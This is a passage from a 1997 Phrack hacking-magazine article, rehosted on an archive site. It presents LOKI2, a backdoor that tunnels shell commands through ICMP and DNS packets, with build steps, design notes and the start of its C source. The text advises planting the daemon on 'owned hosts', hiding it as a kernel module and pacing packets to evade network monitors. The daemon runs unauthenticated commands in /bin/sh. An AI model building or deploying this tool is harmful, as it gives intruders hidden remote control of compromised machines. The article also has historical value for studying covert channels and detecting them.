home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Phrack / Phrack Issue 51.sit / Phrack51 / P51-06 < prev    next >
Text File  |  1997-09-01  |  112KB  |  3,371 lines

  1. ---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 06 of 17
  2.  
  3.  
  4. -------------------------[  L O K I 2   (the implementation)
  5.  
  6.  
  7. --------[  daemon9 <route@infonexus.com>
  8.  
  9.  
  10.  
  11. ----[  Introduction
  12.  
  13.             
  14.     This is the companion code to go with the article on covert channels in
  15. network protocols that originally appeared in P49-06.  The article does not
  16. explain the concepts, it only covers the implementation.  Readers desiring more
  17. information are directed to P49-06.
  18.  
  19.     LOKI2 is an information-tunneling program.  It is a proof of concept work 
  20. intending to draw attention to the insecurity that is present in many network 
  21. protocols.  In this implementation, we tunnel simple shell commands inside of 
  22. ICMP_ECHO / ICMP_ECHOREPLY and DNS namelookup query / reply traffic.  To the 
  23. network protocol analyzer, this traffic seems like ordinary benign packets of 
  24. the corresponding protocol.  To the correct listener (the LOKI2 daemon) 
  25. however, the packets are recognized for what they really are.  Some of the
  26. features offered are: three different cryptography options and on-the-fly 
  27. protocol swapping (which is a beta feature and may not be available in your 
  28. area).
  29.  
  30.     The vulnerabilities presented here are not new.  They have been known
  31. about and actively exploited for years.  LOKI2 is simply one possible 
  32. implementation.  Implementations of similar programs exist for UDP, TCP, IGMP,
  33. etc...  This is by no means limited to type 0 and type 8 ICMP packets.
  34.  
  35.     Before you go ahead and patch owned hosts with lokid, keep in mind that
  36. when linked against the crypto libraries, it is around 70k, with about 16k 
  37. alone in the data segment.  It also forks off at least twice per client 
  38. request.  This is not a clandestine program.  You want clandestine?
  39. Implement LOKI2 as an lkm, or, even better, write kernel diffs and make it
  40. part of the O/S.
  41.  
  42.  
  43. ----------------------[  BUILDING AND INSTALLATION
  44.  
  45.     Building LOKI2 should be painless.  GNU autoconf was not really needed for 
  46. this project;  consequently you may have to edit the Makefile a bit.  This 
  47. shouldn't be a problem, becuase you are very smart.
  48.  
  49.  
  50. ----[  I. Edit the toplevel Makefile
  51.  
  52. 1)  Make sure your OS is supported.  As of this distribution, we suppport the
  53.     following (if you port LOKI2 to another architecture, please send me the
  54.     diffs):
  55.  
  56.                 Linux   2.0.x 
  57.                 OpenBSD 2.1
  58.                 FreeBSD 2.1.x
  59.                 Solaris 2.5.x
  60.  
  61. 2)  Pick an encryption technology.  STRONG_CRYPTO (DH and Blowfish), 
  62.     WEAK_CRYPTO (XOR), or NO_CRYPTO (data is transmitted in plaintext).
  63.  
  64. 3)  If you choose STRONG_CRYPTO, uncomment LIB_CRYPTO_PATH, CLIB, and MD5_OBJ.
  65.     You will also need SSLeay (see below).
  66.  
  67. 4)  Chose whether or not to allocate a psudeo terminal (PTY) (may not be 
  68.     implemented) or just use popen (POPEN) and use the 
  69.     `pipe -> fork -> exec -> sh` sequence to execute commands. 
  70.  
  71. 5)  See Net/3 restrictions below and adjust accordingly.
  72.  
  73. 6)  Pausing between sends is a good idea, especially when both hosts are on
  74.     the same Ethernet.  We are dealing with a potentially lossy protocol and 
  75.     there is no reliablity layer added as of this version...  SEND_PAUSE 
  76.     maintains some order and keeps the daemon from spewing packets too fast.
  77.  
  78.     You can also opt to increase the pause to a consdiderably larger value, 
  79.     making the channel harder to track on the part of the netework snooper.
  80.     (This would, of course, necessitate the client to choose an even larger
  81.     MIN_TIMEOUT value.
  82.  
  83. ----[  II. Supplemental librarys
  84.  
  85. 1)  If you are using STRONG_CRYPTO you will need to get the SSLeay crypto 
  86.     library, version 0.6.6.  DO NOT get version 0.8.x as it is untested with
  87.     LOKI2.  Hopefully these URLs will not expire anytime soon:
  88.   
  89.             ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/SSLeay-0.6.6.tar.gz
  90.             ftp://ftp.uni-mainz.de/pub/internet/security/ssl
  91.  
  92. 2)  Build and install SSLeay.  If you decide not to install it, Make sure you 
  93.     correct the crypto library path LIB_CRYPTO_PATH in the Makefile and 
  94.     include paths in loki.h.
  95.  
  96.  
  97.  
  98. ----[  III. Compilation and linking
  99.  
  100. 1)  From the the toplevel directory, `make systemtype`.
  101.  
  102. 2)  This will build and strip the executables.
  103.  
  104.  
  105.  
  106. ----[  IV. Testing
  107.  
  108. 1)  Start the daemon in verbose mode using ICMP_ECHO (the default) `./lokid`
  109.  
  110. 2)  Start up a client `./loki -d localhost`
  111.  
  112. 3)  Issue an `ls`.
  113.  
  114. 4)  You should see a short listing of the root directory.
  115.  
  116. 5)  Yay.
  117.  
  118. 6) For real world testing, install the daemon on a remote machine and go to 
  119.    town.  See below for potential problems.
  120.  
  121.  
  122. ----[  V. Other Options
  123.  
  124.     The loki.h header file offers a series of configurable options.
  125.  
  126. MIN_TIMEOUT is the minimum amount of time in whole seconds the client will 
  127.             wait for a response from the server before the alarm timer goes off.
  128.  
  129. MAX_RETRAN  (STRONG_CRYPTO only) is the maximum amount of time in whole 
  130.             seconds the client will retransmit its initial public key 
  131.             handshaking packets before giving up.  This feature will be 
  132.             deprecated when a reliability layer is added.
  133.  
  134. MAX_CLIENT  is the maximum amount of clients the server will accept and
  135.             service concurrently.
  136.  
  137. KEY_TIMER   is the maximum amount of time in whole seconds an idle client 
  138.             entry will be allowed to live in the servers database.  If this
  139.             amount of time has elapsed, all entries in the servers client 
  140.             database that have been inactive for KEY_TIMER seconds will be
  141.             removed.  This provides the server with a simple way to clean up
  142.             resources from crashed or idle clients.
  143.  
  144.  
  145.  
  146. ----------------------[  LOKI2 CAVEATS AND KNOWN BUGS
  147.  
  148.  Net/3 Restrictions
  149.  
  150.     Under Net/3, processes interested in receiving ICMP messages must register
  151. with the kernel in order to get these messages.  The kernel will then pass
  152. all ICMP messages to these registered listeners, EXCEPT for damaged ICMP 
  153. packets and request packets.  Net/3 TCP/IP implementations will not pass ICMP 
  154. request messages of any kind to any registered listeners.  This is a problem
  155. if we are going to be using ICMP_ECHO (a request type packet) and want it to
  156. be directly passed to our user-level program (lokid).  We can get around this
  157. restriction by inverting the flow of the transactions.  We send ICMP_ECHOREPLYs
  158. and elicit ICMP_ECHOs.
  159.   
  160.     Note, that under Linux, we do not have this probem as ALL valid ICMP 
  161. packets are delivered to user-level processes.  If the daemon is installed on 
  162. a Linux box, we can use the normal ICMP_ECHO -> ICMP_ECHOREPLY method of 
  163. tunneling.  Compile with -DNET3 according to this chart:
  164.  
  165.        | Client  |
  166. -----------------------------------------------------
  167. Daemon | ------- |   Linux  |   *bsd*   |   Solaris |    
  168. -----------------------------------------------------
  169.        | Linux   |   no     |    yes    |   yes     |
  170.        | *bsd*   |   no     |    yes    |   yes     |
  171.        | Solaris |   no     |    opt    |   opt     |
  172.  
  173.  
  174.  The Initialization Vector
  175.  
  176.     When using Strong Crypto, the initialization vector (ivec) incrementation 
  177. is event based.  Every time a packet is sent by the client the client ivec is 
  178. incremented, and, every time a packet is received by the server, the server 
  179. side ivec is also incremented.  This is fine if both ends stay in sync with
  180. each other.  However, we are dealing with a potentially lossy protocol.  If
  181. a packet from the client to the server is dropped, the ivecs become desynched,
  182. and the client can no longer communicate with the server.
  183.  
  184.     There are two easy ways to deal with this.  One would be to modify the ivec
  185. permutation routine to be time-vector based, having the ivecs increase as time 
  186. goes by.  This is problematic for several reasons.  Initial synchronization 
  187. would be difficult, especially on different machine architectures with 
  188. different clock interrupt rates.  Also, we would also have to pick a 
  189. relatively small time interval for ivec permutations to be effective on fast 
  190. networks, and the smaller the ivec time differential is, the more the protocol 
  191. would suffer from clock drift (which is actually quite considerable).
  192.  
  193.  
  194.  Protocol Swaping
  195.  
  196.     Swapping protocols is broken in everything but Linux.  I think it has 
  197. something to do with the Net/3 socket semantics.  This is probably just a bug
  198. I need to iron out.  Quite possibly something I did wrong.  *shrug*...
  199. Nevermind the fact that the server isn't doing any synchronous I/O multiplexing, 
  200. consequently, swapping protocols requires a socket change on everone's part.  
  201. This is why this feature is 'beta'.
  202.  
  203.  
  204.  Authentication
  205.  
  206.     Um, well, there is none.  Any client can connect to the server, and any
  207. client can also cause the server to shut down.  This is actually not a bug or 
  208. a caveat.  It is intentional.
  209.  
  210.  
  211.  I/O
  212.  
  213.     Should be done via select.
  214.  
  215. ----------------------[  TODO LIST
  216.  
  217. - possible time vector-based ivec permutation instead of event-based as event 
  218.   based is prone to synch failures, OR, even better, a reliability layer.
  219.  
  220.  
  221.  
  222. ----[  The technologies 
  223.  
  224.  
  225. ----------------------[  SYMMETRIC BLOCK CIPHER
  226.  
  227.     A symmetric cipher is one that uses the same key for encryption and
  228. decryption, or the decryption key is easily derivable from the encryption key.
  229. Symmetric ciphers tend to be fast and well suited for bulk encryption, but
  230. suffer from woeful key distribution problems.  A block cipher is simply one
  231. that encrypts data in blocks (usually 64-bits).  The symmetric block cipher 
  232. employed by LOKI2 is Blowfish in CFB mode with a 128-bit key.
  233.  
  234.  
  235. ----------------------[  CFB MODE
  236.  
  237.     Symmetric block ciphers can be implemented as self-synchronizing stream
  238. ciphers.  This is especially useful for data that is not suitable for padding
  239. or when data needs to processed in byte-sized chunks.  In CFB mode, data is
  240. encrypted in units smaller then the block size.  In our case, each encryption 
  241. of the 64-bit block cipher encrypts 8-bits of plaintext.  The initialization
  242. vector, which is used to seed the process, must be unique but not secret.  We
  243. use every 3rd byte of the symmetric key for our IV.  The IV must change for
  244. each message, to do this, we simply increment it as packets are generated.
  245.  
  246.  
  247. ----------------------[  BLOWFISH
  248.  
  249.     Blowfish is a variable key length symmetric cipher designed by Bruce 
  250. Schneier.  It is a portable, free, fast, strong algorithm.
  251. It offers a key length of up to 448-bits, however, for LOKI2 we use 
  252. a 128-bit key.
  253.  
  254.  
  255. ----------------------[  ASYMMETRIC CIPHER
  256.  
  257.     An asymmetric cipher makes use of two keys, coventionally called the
  258. private key and public key.  These two keys are mathematically related such
  259. that messages encrypted with one, can only be decrypted by the other.  It
  260. is also infeasible to derive one key from the other.  Asymmetric ciphers solve
  261. the problem of key management by negating the need for a shared secret, however
  262. they are much slower the symmetric ciphers.  The perfect world in this case
  263. is a hybrid system, using both a symmetric cipher for key exchange and a 
  264. symmetric cipher for encryption.  This is the scheme employed in LOKI2.
  265.  
  266.  
  267. ---------------------[  DIFFIE - HELLMAN
  268.  
  269.     In 1976, Whitfield Diffie and Marty Hellman came forth with the first
  270. asymmetric cipher (DH).  DH cannot be used for encryption, only for symmetric 
  271. key exchange.  The strength of DH relies on the apparent difficulty in 
  272. computing discrete logarithms in a finite field.  DH generates a shared secret 
  273. based off of 4 components:
  274.  
  275.     P           the public prime
  276.     g           the public generator
  277.     c{x, X}     the client's private/public keypair
  278.     s{y, Y}     the server's private/public keypair
  279.     SS          the shared secret (from the which the key is extracted)
  280.  
  281. The protocol for secret generation is simple:
  282.  
  283.         Client                          Server
  284.         ------                          ------
  285. 1)    X = g ^ x mod P
  286. 2)                           X -->
  287. 3)                                    Y = g ^ y mod P
  288. 4)                       <-- Y
  289. 5)    SS = Y ^ x mod P                SS = X ^ y mod P
  290.  
  291.  
  292. ----------------------[  NETWORK FLOW
  293.  
  294.     L O K I 2
  295.     Covert channel implementation for Unix
  296.     ----------------------------------------------------------------------
  297.                                                 daemon9|route [guild 1997]
  298.   ----------------
  299.   | LOKI2 CLIENT |
  300.   ----------------           -----------------------------------
  301.    ^      |  sendto()        |  FIRST GENERATION LOKI2 DAEMON  |
  302.    |      |                  -----------------------------------
  303.    |      |  client sends     |  shadow()     server forks
  304.    |      |  data             v
  305.    |      v                   |      
  306.    |      |               -----    
  307.    |      |               |     
  308.    |      |               |   
  309.    |      |               v fork()
  310.    |      |             -----
  311.    |      |            C|   |P   
  312.    |      v             |   |   
  313.    |      |             |   ----> clean_exit()          parent exits
  314.    |      |             |
  315.    |      |             |  2nd generation child daemon becomes leader of a new 
  316.    |      |             |  session, handles initial network requests    
  317.    ^      |             |  
  318.    |      |             v
  319.    |      |            ------------------------------
  320.    |      -----------> |  SECOND GENERATION DAEMON  | read()    blocks until
  321.    |      LOKI2        ------------------------------           data arrives
  322.    |      network             |          ^
  323.    |      traffic             |          |
  324.    |                          |          |
  325.    -------<----               |          |
  326.               |               |          |
  327.               |               |          |
  328.               |               |          |
  329.               |               v fork()   |
  330.               |             -----        |
  331.               ^            C|   |P       |
  332.               |             |   |        | parent continues
  333.               |             |   --->------
  334.               |             | 
  335.               |             |  3rd generation daemon handles client request
  336.               |             v
  337.               |     -----------------------------
  338.               --<---|  THIRD GENERATION DAEMON  |  
  339.                     -----------------------------
  340.                         switch(PACKET_TYPE)
  341.  
  342.                     L_PK_REQ:             L_REQ:
  343.                      STRONG_CRYPTO           POPEN
  344.                      key management    PTY     |
  345.                                         |     pipe()  <---------
  346.                                         |      |               |
  347.      -------<--------------------<------       |               |
  348.      |                                      ----               |
  349.      |                                      |                  |
  350.      |                                      v fork()           |
  351.      v                                    -----                |
  352.   Unimplemented (7.97)                   C|   |P               |
  353.                                           |   |                ^
  354.                                           |   ----> exit()     |
  355.                                           |                    |
  356.                  4th generation child     |     ---->------->---
  357.                  daemon execs commands    v     |
  358.                       ------------------------------ 
  359.                       |  FOURTH GENERATION DAEMON  |  exec()     4g child execs 
  360.                       ------------------------------             command in
  361.                         STDOUT of command                        /bin/sh 
  362.                         to client via pipe
  363.  
  364.  
  365.  
  366. ----------------------[  THANKS
  367.  
  368.     snocrash for being sno,
  369.     nirva for advice and help and the use of his FreeBSD machine,
  370.     mycroft for advice and the use of his Solaris machine, 
  371.     alhambra for being complacent,
  372.     Craig Nottingham for letting me borrow some nomenclature,
  373.     truss and strace for being indespensible tools of the trade, 
  374.  
  375.     Extra Special Thanks to OPii <opii@dhp.com> for pioneering this concept and
  376.     technique.
  377.  
  378.  
  379. ----------------------[  THE SOURCE
  380.     
  381.     Whelp, here it is.  Extract the code from the article using one of the 
  382. included extraction utilities.  
  383.  
  384. <++> L2/Makefile
  385. # Makefile for LOKI2 Sun Jul 27 21:29:28 PDT 1997 
  386. # route (c) 1997 Guild Corporation, Worldwide
  387.  
  388.  
  389. ######
  390. #   Choose a cryptography type
  391. #
  392.  
  393. CRYPTO_TYPE         =   WEAK_CRYPTO         # XOR
  394. #CRYPTO_TYPE         =   NO_CRYPTO           # Plaintext
  395. #CRYPTO_TYPE         =   STRONG_CRYPTO       # Blowfish and DH
  396.  
  397.  
  398. ######
  399. #   If you want STRONG_CRYPTO, uncomment the following (and make sure you have
  400. #   SSLeay)
  401.  
  402. #LIB_CRYPTO_PATH     =   /usr/local/ssl/lib/
  403. #CLIB                 =   -L$(LIB_CRYPTO_PATH) -lcrypto
  404. #MD5_OBJ              =   md5/md5c.o
  405.  
  406.  
  407. ######
  408. #   Choose a child process handler type
  409. #
  410.  
  411. SPAWN_TYPE           =   POPEN 
  412. #SPAWN_TYPE          =   PTY
  413.  
  414.  
  415. ######
  416. #   It is safe to leave this alone.
  417. #
  418.  
  419. NET3                   =   #-DNET3
  420. SEND_PAUSE           =   SEND_PAUSE=100 
  421. DEBUG                   =   #-DDEBUG
  422. #----------------------------------------------------------------------------#
  423.  
  424.  
  425. i_hear_a_voice_from_the_back_of_the_room:
  426.     @echo 
  427.     @echo "LOKI2 Makefile"
  428.     @echo "Edit the Makefile and then invoke with one of the following:"
  429.     @echo 
  430.     @echo "linux openbsd freebsd solaris    clean"
  431.     @echo 
  432.     @echo "See Phrack Magazine issue 51 article 7 for verbose instructions"
  433.     @echo 
  434.  
  435. linux:
  436.     @make OS=-DLINUX CRYPTO_TYPE=-D$(CRYPTO_TYPE)                       \
  437.     SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)               \
  438.     FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all
  439.  
  440. openbsd:
  441.     @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE)                        \
  442.     SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)               \
  443.     FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all
  444.  
  445. freebsd:
  446.     @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE)                        \
  447.     SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)               \
  448.     FAST_CHECK=-Dx86_FAST_CHECK IP_LEN=-DBROKEN_IP_LEN all
  449.  
  450. solaris:
  451.     @make OS=-DSOLARIS CRYPTO_TYPE=-D$(CRYPTO_TYPE)                     \
  452.     SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)               \
  453.     LIBS+=-lsocket LIBS+=-lnsl IP_LEN= all
  454.  
  455. CFLAGS        = -Wall -O6 -finline-functions -funroll-all-loops $(OS)     \
  456.         $(CRYPTO_TYPE) $(SPAWN_TYPE) $(SEND_PAUSE) $(FAST_CHECK)    \
  457.         $(EXTRAS) $(IP_LEN) $(DEBUG) $(NET3)
  458.  
  459. CC        =   gcc
  460. C_OBJS            =   surplus.o crypt.o
  461. S_OBJS            =   client_db.o shm.o surplus.o crypt.o pty.o
  462.  
  463.  
  464. .c.o:
  465.     $(CC) $(CFLAGS) -c $< -o $@
  466.  
  467. all:    $(MD5_OBJ) loki
  468.  
  469. md5obj: md5/md5c.c
  470.     @( cd md5; make )
  471.  
  472. loki:    $(C_OBJS) loki.o $(S_OBJS) lokid.o
  473.     $(CC) $(CFLAGS) $(C_OBJS) $(MD5_OBJ) loki.c -o loki $(CLIB) $(LIBS)
  474.     $(CC) $(CFLAGS) $(S_OBJS) $(MD5_OBJ) lokid.c -o lokid $(CLIB) $(LIBS)
  475.     @(strip loki lokid)
  476.  
  477. clean:
  478.     @( rm -fr *.o loki lokid )
  479.     @( cd md5; make clean )
  480.  
  481. dist:    clean
  482.     @( cd .. ; tar cvf loki2.tar L2/ ; gzip loki2.tar )
  483. <--> Makefile
  484. <++> L2/client_db.c
  485. /*
  486.  * LOKI2
  487.  *
  488.  * [ client_db.c ]
  489.  *
  490.  *  1996/7 Guild Corporation Worldwide      [daemon9]
  491.  */
  492.  
  493.  
  494. #include "loki.h"
  495. #include "shm.h"
  496. #include "client_db.h"
  497.  
  498. extern struct loki rdg;
  499. extern int verbose;
  500. extern int destroy_shm;
  501. extern struct client_list *client;
  502. extern u_short c_id;
  503.  
  504. #ifdef  STRONG_CRYPTO
  505. extern short ivec_salt;
  506. extern u_char user_key[BF_KEYSIZE];
  507. #endif
  508. #ifdef  PTY
  509. extern int mfd;
  510. #endif
  511.        
  512. /*
  513.  *  The server maintains an array of active client information.  This
  514.  *  function simply steps through the structure array and attempts to add
  515.  *  an entry.
  516.  */
  517.  
  518. int add_client(u_char *key)
  519. {
  520.     int i = 0, emptyslot = -1;                                    
  521. #ifdef  PTY
  522.     char p_name[BUFSIZE] = {0};
  523. #endif
  524.  
  525.     locks();
  526.     for (; i < MAX_CLIENT; i++)
  527.     {
  528.         if (IS_GOOD_CLIENT(rdg))
  529.         {                               /* Check for duplicate entries 
  530.                                          * (which are to be expected when
  531.                                          * not using STRONG_CRYPTO)
  532.                                          */
  533. #ifdef STRONG_CRYPTO
  534.             if (verbose) fprintf(stderr, S_MSG_DUP);
  535. #endif
  536.             emptyslot = i;
  537.             break;
  538.         }                               /* tag the first empty slot found */
  539.         if ((!(client[i].client_id))) emptyslot = i;
  540.     }
  541.     if (emptyslot == -1)
  542.     {                                   /* No empty array slots */
  543.         if (verbose) fprintf(stderr, "\nlokid: Client database full");
  544.         ulocks();
  545.         return (NNOK);
  546.     }
  547.                                         /* Initialize array with client info */
  548.     client[emptyslot].touchtime         = time((time_t *)NULL);
  549.     if (emptyslot != i){
  550.         client[emptyslot].client_id     = c_id;
  551.         client[emptyslot].client_ip     = rdg.iph.ip_src;
  552.         client[emptyslot].packets_sent  = 0;
  553.         client[emptyslot].bytes_sent    = 0;
  554.         client[emptyslot].hits          = 0;
  555. #ifdef  PTY
  556.         client[emptyslot].pty_fd        = 0;
  557. #endif
  558.     }
  559. #ifdef  STRONG_CRYPTO
  560.                                         /* copy unset bf key and set salt */
  561.     bcopy(key, client[emptyslot].key, BF_KEYSIZE);
  562.     client[emptyslot].ivec_salt         = 0;
  563. #endif
  564.     ulocks();
  565.     return (emptyslot);
  566. }                
  567.  
  568.  
  569. /*
  570.  *  Look for a client entry in the client database.  Either copy the clients
  571.  *  key into user_key and update timestamp, or clear the array entry,
  572.  *  depending on the disposition of the call.
  573.  */
  574.  
  575. int locate_client(int disposition)
  576. {
  577.     int i = 0;
  578.  
  579.     locks();
  580.     for (; i < MAX_CLIENT; i++)
  581.     {
  582.         if (IS_GOOD_CLIENT(rdg))
  583.         {
  584.             if (disposition == FIND)    /* update timestamp */
  585.             {
  586.                 client[i].touchtime = time((time_t *)NULL);
  587. #ifdef STRONG_CRYPTO
  588.                                         /* Grab the key */
  589.                 bcopy(client[i].key, user_key, BF_KEYSIZE);
  590. #endif
  591.             }  
  592.                                         /* Remove entry */
  593.             else if (disposition == DESTROY)
  594.                 bzero(&client[i], sizeof(client[i]));
  595.             ulocks();
  596.             return (i);
  597.         }
  598.     }
  599.     ulocks();                           /* Didn't find the client */
  600.     return (NNOK);
  601. }
  602.  
  603.  
  604. /*
  605.  *  Fill a string with current stats about a particular client.
  606.  */
  607.  
  608. int stat_client(int entry, u_char *buf, int prot, time_t uptime)
  609. {
  610.  
  611.     int n = 0;
  612.     time_t now = 0;
  613.     struct protoent *proto = 0;  
  614.                                         /* locate_client didn't find an 
  615.                                          * entry
  616.                                          */
  617.     if (entry == NNOK)
  618.     {
  619.  fprintf(stderr, "DEBUG: stat_client nono\n");
  620.         return (NOK);
  621.     }
  622.     n = sprintf(buf, "\nlokid version:\t\t%s\n", VERSION);
  623.     n += sprintf(&buf[n], "remote interface:\t%s\n", host_lookup(rdg.iph.ip_dst));
  624.  
  625.     proto = getprotobynumber(prot);
  626.     n += sprintf(&buf[n], "active transport:\t%s\n", proto -> p_name);
  627.     n += sprintf(&buf[n], "active cryptography:\t%s\n", CRYPTO_TYPE);
  628.     time(&now);
  629.     n += sprintf(&buf[n], "server uptime:\t\t%.02f minutes\n", difftime(now, uptime) / 0x3c);
  630.                                                                
  631.     locks();
  632.     n += sprintf(&buf[n], "client ID:\t\t%d\n",      client[entry].client_id);
  633.     n += sprintf(&buf[n], "packets written:\t%ld\n", client[entry].packets_sent);
  634.     n += sprintf(&buf[n], "bytes written:\t\t%ld\n", client[entry].bytes_sent);
  635.     n += sprintf(&buf[n], "requests:\t\t%d\n",       client[entry].hits);
  636.     ulocks();
  637.     
  638.     return (n);
  639. }
  640.  
  641. /*
  642.  *  Unsets alarm timer, then calls age_client, then resets signal handler
  643.  *  and alarm timer.
  644.  */
  645.  
  646. void client_expiry_check(){
  647.  
  648.     alarm(0);
  649.     age_client();
  650.                                             /* re-establish signal handler */
  651.     if (signal(SIGALRM, client_expiry_check) == SIG_ERR)
  652.         err_exit(1, 1, verbose, "[fatal] cannot catch SIGALRM");
  653.  
  654.     alarm(KEY_TIMER);
  655. }
  656.      
  657.  
  658. /*
  659.  *  This function is called every KEY_TIMER interval to sweep through the 
  660.  *  client list.  It zeros any entrys it finds that have not been accessed
  661.  *  in KEY_TIMER seconds.  This gives us a way to free up entries from clients 
  662.  *  which may have crashed or lost their QUIT_C packet in transit.
  663.  */
  664.  
  665. void age_client()
  666. {
  667.  
  668.     time_t timestamp = 0;
  669.     int i = 0;
  670.  
  671.     time(×tamp); 
  672.     locks();
  673.     for (; i < MAX_CLIENT; i++)
  674.     {
  675.         if (client[i].client_id)
  676.         {
  677.             if (difftime(timestamp, client[i].touchtime) > KEY_TIMER)
  678.             {
  679.                 if (verbose) fprintf(stderr, "\nlokid: inactive client <%d> expired from list [%d]\n", client[i].client_id, i);
  680.                 bzero(&client[i], sizeof(client[i]));
  681. #ifdef STRONG_CRYPTO
  682.                 ivec_salt = 0;
  683. #endif
  684.             }
  685.         }
  686.     }
  687.     ulocks();
  688. }
  689.  
  690.  
  691. /*
  692.  *  Update the statistics for client.
  693.  */
  694.  
  695. void update_client(int entry, int pcount, u_long bcount)
  696. {
  697.     locks();
  698.     client[entry].touchtime      = time((time_t *)NULL);
  699.     client[entry].packets_sent  += pcount; 
  700.     client[entry].bytes_sent    += bcount;
  701.     client[entry].hits          ++;
  702.     ulocks();
  703. }
  704.  
  705.  
  706. /*
  707.  *  Returns the IP address and ID of the targeted entry
  708.  */
  709.  
  710. u_long check_client_ip(int entry, u_short *id)
  711. {
  712.     u_long ip = 0;
  713.  
  714.     locks();
  715.     if ((*id = (client[entry].client_id))) ip = client[entry].client_ip;
  716.     ulocks();
  717.     
  718.     return (ip);
  719. }
  720.  
  721. #ifdef STRONG_CRYPTO
  722.  
  723. /*
  724.  *  Update and return the IV salt for the client
  725.  */
  726.  
  727. u_short update_client_salt(int entry)
  728. {
  729.  
  730.     u_short salt = 0;
  731.  
  732.     locks();
  733.     salt = ++client[entry].ivec_salt;
  734.     ulocks();
  735.  
  736.     return (salt);
  737. }    
  738.  
  739. #endif  /* STRONG_CRYPTO */
  740.  
  741.  
  742. /* EOF */
  743. <--> client_db.c
  744. <++> L2/client_db.h
  745. /*
  746.  * LOKI
  747.  *
  748.  * client_db header file
  749.  *
  750.  *  1996/7 Guild Corporation Productions    [daemon9]
  751.  */
  752.  
  753.  
  754. /*
  755.  *  Client info list.  
  756.  *  MAX_CLIENT of these will be kept in a server-side array
  757.  */
  758.  
  759. struct client_list
  760. {
  761. #ifdef  STRONG_CRYPTO
  762.     u_char key[BF_KEYSIZE];             /* unset bf key                     */
  763.     u_short ivec_salt;                  /* the IV salter                    */
  764. #endif
  765.     u_short client_id;                  /* client loki_id                   */
  766.     u_long client_ip;                   /* client IP address                */
  767.     time_t  touchtime;                  /* last time entry was hit          */
  768.     u_long packets_sent;                /* Packets sent to this client      */
  769.     u_long bytes_sent;                  /* Bytes sent to this client        */
  770.     u_int hits;                         /* Number of queries from client    */
  771. #ifdef  PTY
  772.     int pty_fd;                         /* Master PTY file descriptor       */
  773. #endif
  774. };
  775.  
  776. #define IS_GOOD_CLIENT(ldg)\
  777. \
  778. (c_id           == client[i].client_id   &&  \
  779.  ldg.iph.ip_src == client[i].client_ip)  >   \
  780.                              (0) ? (1) : (0) \
  781.  
  782. void update_client(int, int, u_long);   /* Update a client entry            */
  783.                                         /* client info into supplied buffer */
  784. int stat_client(int, u_char *, int, time_t);
  785. int add_client(u_char *);               /* add a client entry               */
  786. int locate_client(int);                 /* find a client entry              */
  787. void age_client(void);                  /* age a client from the list       */
  788. u_short update_client_salt(int);        /* update and return salt           */
  789. u_long check_client_ip(int, u_short *); /* return ip and id of target       */
  790. <--> client_db.h
  791. <++> L2/crypt.c
  792. /*
  793.  * LOKI2
  794.  *
  795.  * [ crypt.c ]
  796.  *
  797.  *  1996/7 Guild Corporation Worldwide      [daemon9]
  798.  */
  799.  
  800.  
  801. #include "loki.h"
  802. #include "crypt.h"
  803. #include "md5/global.h"
  804. #include "md5/md5.h"
  805.  
  806. #ifdef STRONG_CRYPTO
  807. u_char user_key[BF_KEYSIZE];                /* unset blowfish key */
  808. BF_KEY bf_key;                              /* set key */
  809. volatile u_short ivec_salt = 0;           
  810.  
  811.  
  812. /*
  813.  *  Blowfish in cipher-feedback mode.  This implements blowfish (a symmetric 
  814.  *  cipher) as a self-synchronizing stream cipher.  The initialization 
  815.  *  vector (the initial dummy cipher-text block used to seed the encryption)
  816.  *  need not be secret, but it must be unique for each encryption.  I fill
  817.  *  the ivec[] array with every 3rd key byte incremented linear-like via
  818.  *  a global encryption counter (which must be synced in both client and
  819.  *  server).
  820.  */
  821.  
  822. void blur(int m, int bs, u_char *t)
  823. {
  824.  
  825.     int i = 0, j = 0, num      = 0;
  826.     u_char ivec[IVEC_SIZE + 1] = {0};       
  827.  
  828.     for (; i < BF_KEYSIZE; i += 3)         /* fill in IV */
  829.         ivec[j++] = (user_key[i] + (u_char)ivec_salt);     
  830.     BF_cfb64_encrypt(t, t, (long)(BUFSIZE - 1), &bf_key, ivec, &num, m);
  831. }
  832.  
  833.  
  834. /*
  835.  *  Generate DH keypair.
  836.  */
  837.  
  838. DH* generate_dh_keypair()
  839. {
  840.  
  841.     DH *dh = NULL;
  842.                                         /* Initialize the DH structure */
  843.     dh = DH_new();
  844.                                         /* Convert the prime into BIGNUM */
  845.     (BIGNUM *)(dh -> p) = BN_bin2bn(modulus, sizeof(modulus), NULL);
  846.                                         /* Create a new BIGNUM */
  847.     (BIGNUM *)(dh -> g) = BN_new();
  848.                                         /* Set the DH generator */
  849.     BN_set_word((BIGNUM *)(dh -> g), DH_GENERATOR_5);
  850.                                         /* Generate the key pair */
  851.     if (!DH_generate_key(dh)) return ((DH *)NULL);
  852.  
  853.     return(dh);
  854. }
  855.  
  856.  
  857. /*
  858.  *  Extract blowfish key from the DH shared secret.  A simple MD5 hash is
  859.  *  perfect as it will return the 16-bytes we want, and obscure any possible
  860.  *  redundancies or key-bit leaks in the DH shared secret.
  861.  */
  862.  
  863.  
  864. u_char *extract_bf_key(u_char *dh_shared_secret, int set_bf)
  865. {
  866.  
  867.     u_char digest[MD5_HASHSIZE]; 
  868.     unsigned len = BN2BIN_SIZE; 
  869.     MD5_CTX context; 
  870.                                         /* initialize MD5 (loads magic context
  871.                                          * constants)
  872.                                          */
  873.     MD5Init(&context);
  874.                                         /* MD5 hashing */
  875.     MD5Update(&context, dh_shared_secret, len);
  876.                                         /* clean up of MD5 */
  877.     MD5Final(digest, &context);
  878.     bcopy(digest, user_key, BF_KEYSIZE);
  879.                                         /* In the server we dunot set the key 
